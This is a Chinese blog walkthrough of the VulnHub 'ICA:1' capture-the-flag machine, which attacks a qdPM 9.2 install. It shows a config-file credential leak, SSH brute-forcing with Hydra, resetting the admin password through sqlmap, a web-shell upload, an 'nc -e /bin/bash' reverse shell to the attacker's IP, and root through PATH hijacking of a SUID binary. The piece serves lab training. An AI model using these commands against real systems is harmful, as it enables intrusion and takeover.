vulnhub--ica_1

靶机下载地址:https://www.vulnhub.com/entry/ica-1,748/
vulnhub靶机检测不到IP地址解决办法-CSDN博客
首先,用 netdiscover -r 192.168.152.0/24 探测靶机的ip地址
image.png
靶机IP地址为:192.168.152.186
攻击机IP地址为:192.168.152.134
使用nmap扫描靶机开放的服务和端口
image.png
开放了22,80,3306端口

渗透开始

先访问网站
image.png
是一个登录界面,用电子邮箱和用户名登录,不打算先用暴力破解,先sqlmap跑一下:
不过好像不存在sql注入,只能另辟蹊径,

预期解

这个是一个web应用,框架是qdpm 9.2
在kali上搜索一下有没有漏洞,发现有两个漏洞,依次看一下
# searchsploit qdpm 9.2
image.png

  1. locate 50854.txt

:::info
locate命令用于在系统中快速查找文件路径。
:::
image.png
是一个关于 qdPM 9.2 存在跨站请求伪造(CSRF)漏洞的Exploit。这个Exploit的目的是向受害者发送一个特制的HTML文件,利用受害者当前已登录的会话来执行恶意操作

  1. locate 50176.txt

:::info
locate命令用于在系统中快速查找文件路径。
:::
image.png
翻译可知:
数据库的密码和连接字符串存储在yml文件中。要访问yml文件,您可以访问http:///core/config/databases.yml文件并下载。
image.png
使用第二个漏洞:进行访问,得到连接数据库的用户名和密码
image.png
进行连接数据库,用户名qdpmadmin;密码:UcVQCMQk2STVeS6J
image.png
查看库
image.png
我们先去看 qdpm 库,有一个users表,看一下内容
image.png
是空的,users表中没有任何数据
image.png
换一个数据库:我们看 staff 库
image.png
这个库里有三个表,表的内容是:
image.png
其中,user表里是名字;login表里是base64加密了的密码;
我们把名字和密码放在文件上,尝试用kali上的九头蛇进行爆破靶机的ssh,这里用户名要小写,不然爆破不出来
image.png
image.png
指令要大写,爆破出来两个用户,尝试登录一下
image.png
先登录 travis 用户,得到第一个flag
image.png
再登第二个 dexter 用户,发现只有一个提示
image.png
翻译:提示说有可执行文件,并且它有一部分是可见的
image.png
使用命令:find / -perm -4000 2>/dev/null 查找具有SetUID权限的文件的命令
#以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权
限的SUID的文件。不同系统适用于不同的命令,一个一个试
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
SetUID(Set User ID)权限允许一个程序在执行时以文件所有者的权限运行,而不是执行程序的用户的权限。
image.png
可以用strings命令把它的字符串全部打印出来,发现/opt/get_access 这个文件是最可疑的
image.png
因为/root/system.info文件对于普通用户是不可读的(只有root用户有读取权限)
cat命令并没有写路径,可以创建一个可执行文件,文件内容为/bin/bash,并设置为环境变量,那么我们就可能执行这个文件之后获取root权限:
echo ‘/bin/bash’ > /tmp/cat

chmod +x /tmp/cat

export PATH=/tmp:$PATH

echo $PATH
将字符串 ‘/bin/bash’ 写入了一个名为 /tmp/cat 的文件中,然后将该文件 cat 设置为可执行权限。接着,将 /tmp 目录添加到环境变量 PATH 中,最后输出 PATH 环境变量的内容,查看/tmp是否添加到PATH
/tmp/cat 文件现在包含了 /bin/bash 这个字符串,并且被设置为可执行文件。然后,将 /tmp 目录添加到 PATH 中,这样系统在搜索可执行文件时会优先搜索 /tmp 目录。
image.png
然后执行get_access文件进行提权,然后去到root目录拿到flag
image.png

非预期解

一个登录界面,用电子邮箱和用户名登录,不打算先用暴力破解,先burp里的fuzz跑一下,但是不存在sql注入
看到框架是qdpm9.2 去kali搜索一下有没有漏洞
image.png
在50176.txt发现漏洞:可以访问网站下的/core/config/databases.yml文件可以看到数据库的用户名和密码的明文信息
image.png
因为靶机没有删除install目录(即安装目录),所以我尝试可不可以重新安装一下,密码654321
image.png
提示安装成功
image.png
尝试登录,登录失败
试一下暴力破解,用sqlmap连接:
sqlmap -d mysql://qdpmadmin:UcVQCMQk2STVeS6J@192.168.152.186:3306/qdpm -f --banner --dump qdpm
管理员的信息存储在qdpm下的 configuration表中,密码是app_administrator_password的值,密码进行了hash加密
image.png
进行john爆破这个密码
image.png
image.png
john爆破不出来密码
image.png
因为这个密码好像挺复杂的,于是我就又搭建了另一个qdpm应用,然后用我设置的弱密码替换一下
image.png
123456 的hash值是 P P PE.iWYDCN28TAZXVGaQYb24opsdS3WN0

更改密码方式一(sqlmap)

sqlmap -d mysql://qdpmadmin:UcVQCMQk2STVeS6J@192.168.152.186:3306/qdpm -f --banner --sql-shell #sqlmap执行sql命令
UPDATE configuration set value=“ P P PE.iWYDCN28TAZXVGaQYb24opsdS3WN0” where id =2;
#更改管理员的密码

查库
SELECT schema_name FROM information_schema.schemata;
查表
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘your_database_name’;
查列
SELECT column_name FROM information_schema.columns WHERE table_name = ‘your_table_name’;

image.png
进行查询一下是否修改密码成功:
image.png
根据执行的查询结果,看起来更新操作已经成功执行。查询返回了id为2的记录,其中"value"字段的值已经被更新为" P P PE.iWYDCN28TAZXVGaQYb24opsdS3WN0"。

更改密码方式二(Navicat)

因为前面知道数据库的用户名和密码了,进行连接
image.png
在 qdpm 库configguration 表里有登录页面的邮箱与密码(hash加密了的,且john爆破不出来),于是进行替换
直接替换成123456,是登录不上去的,且hash值必须是qdpm应用进行加密的才可以登录
123456 经过qdpm应用进行hash加密的值是: P P PE.iWYDCN28TAZXVGaQYb24opsdS3WN0
image.png

然后我们进行登录

用户名:admin@localhost.com;密码:123456,成功进入后台
image.png
找到一个文件上传的地方
image.png
上传一句话木马,然后抓包修改文件后缀,因为我上传的是gif类型的木马image.png
虽然有报错,但是可以看见文件,就不用管
image.png
使用蚁剑连接一句话木马,连接成功,但是root文件目录打开不了,应该是权限的问题
image.png
想办法提权,使用命令搜索有SUID权限的问文件:find / -perm -4000 2>/dev/null
没有明显可以用于suid提权的命令,先用strings看一下/opt/access命令(strings命令用于查看二进制文件中可打印的字符)
image.png
发现可能是执行 cat /root/system.info 这个命令进行提权的,因为/root/system.info文件对于普通用户是不可读的(只有root用户有读取权限)
cat命令并没有写路径,可以创建一个可执行文件,文件内容为/bin/bash,并设置为环境变量,那么我们就可能执行这个文件之后获取root权限:
echo ‘/bin/bash’ > /tmp/cat

chmod +x /tmp/cat

export PATH=/tmp:$PATH

echo $PATH
将字符串 ‘/bin/bash’ 写入了一个名为 /tmp/cat 的文件中,然后将该文件 cat 设置为可执行权限。接着,将 /tmp 目录添加到环境变量 PATH 中,最后输出 PATH 环境变量的内容,查看/tmp是否添加到PATH
/tmp/cat 文件现在包含了 /bin/bash 这个字符串,并且被设置为可执行文件。然后,将 /tmp 目录添加到 PATH 中,这样系统在搜索可执行文件时会优先搜索 /tmp 目录。
image.png
但是在蚁剑中不知道为什么添加不了环境变量
image.png
于是使用nc命令
在kali中监听4444端口:nc -lvp 4444
在蚁剑的虚拟终端中使用命令:nc -e /bin/bash 192.168.152.134 4444
然后用命令写交互:python -c ‘import pty;pty.spawn(“/bin/bash”)’
image.png
然后再用cat提取,还是使用刚才的命令
image.png
然后执行 /opt/get_access 这个文件进行提权,拿到flag
image.png
然后再home目录下发现另外一个flag
image.png

  • 10
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值